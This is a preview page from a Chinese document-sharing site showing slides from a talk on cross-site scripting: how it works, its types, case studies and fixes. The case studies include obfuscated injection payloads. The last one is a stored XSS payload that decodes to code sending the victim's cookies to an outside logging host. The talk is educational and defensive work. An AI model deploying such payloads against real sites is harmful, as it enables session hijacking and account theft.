下载此文档

跨站脚本漏洞分享.ppt

文档分类：IT计算机 | 页数：约24页举报非法文档有奖

1/24

下载提示

1.该资料是网友上传的，本站提供全文预览，预览什么样，下载就什么样。
2.下载该文档所得收入归上传者、原创者。
3.下载的文档，不会出现我们的网址水印。

同意并开始全文预览

(约 1-6 秒)

1/24 下载此文档

文档列表 文档介绍

跨站脚本漏洞分享
盛大在线：徐江涛
博客：
5、总结&提问
跨站脚本漏洞
1、跨站脚本漏洞原理及其危害
2、跨站脚本漏洞分类
3、跨站脚本漏洞及案例
4、跨站脚本漏洞修补建议
Cross site scripting 简称 XSS
原理：
利用网站的漏洞向网站的页面注入JAVASCRIPT等脚本内容。
根源：程序的输入、输出没有考虑安全因素。
跨站脚本漏洞原理及其危害
XSS Cheat Sheet

了解不同浏览器和各种特殊的HTML标签如何执行脚本。
XSS需要使用的关键字
'';!--"<XSS>=&{()}
各类伪协议头：
Javascript: vbscript:
跨站脚本漏洞原理及其危害
CSS 样式表脚本注入
style=xss:expression(eval((105,102,40,119,105,110,100,111,119,46,
120,33,61,34,49,34,41,123,97,108,101,114,116,40,34,120,115,115,34,41,59,119,105,110,100,111,119,46,120,61,34,49,34,59,125)))
expression变形。
Expression 实际内容 if(!="1"){alert("xss");="1";}
跨站脚本漏洞原理及其危害
***
插入恶意的脚本内容，运行病毒、木马。
钓鱼
篡改网页内容，骗取账号、密码等诈骗行为。
劫持会话
读取会话COOKIE,传送给第三方劫持身份。
XSS Worm
使用AJAX技术，做几何趋势的增长传播。
跨站脚本漏洞原理及其危害
非持久型XSS
需要从URL传参，点击链接触发。
持久型XSS
XSS内容已存储到数据库，写到固定页面。
DOM XSS
JAVASCRIPT处理数据输出出现漏洞。
浏览器的漏洞造成的XSS
跨站脚本漏洞原理及其危害
表单值容易出现XSS
搜索框、信息提示、个人资料、友情链接、背景图片等等。
各类表单值、隐藏的表单值都很危险。
跨站脚本漏洞及案例
案例

跨站脚本漏洞及案例
<option value="5" >初级</option><option value="2" >中级</option><option value="3" >高级</option> </select> <input name="key" class="f-text" type="text" style="margin-right:15px" value=""><body onload=alert()><""/> <input type="submit" class="f-button" value="搜索课程" />
搜索结果代码
/Lessons/index/key/%22%3E%3Cbody%20onload%3Dalert()%3E%3C%22/x/39/y/10/
非持久XSS
过滤了反斜杠/
跨站脚本漏洞及案例
/share/1804746
HTML代码:
<div class="share-content"><p> <a href="http://"><body onload=eval((118,97,114,32,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,112,97,105,116,111,117,98,105,110,103,46,99,110,47,108,111,103,46,112,104,112,63,99,61,39,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,39,34))><a a="

跨站脚本漏洞分享来自淘豆网www.taodocs.com转载请标明出处.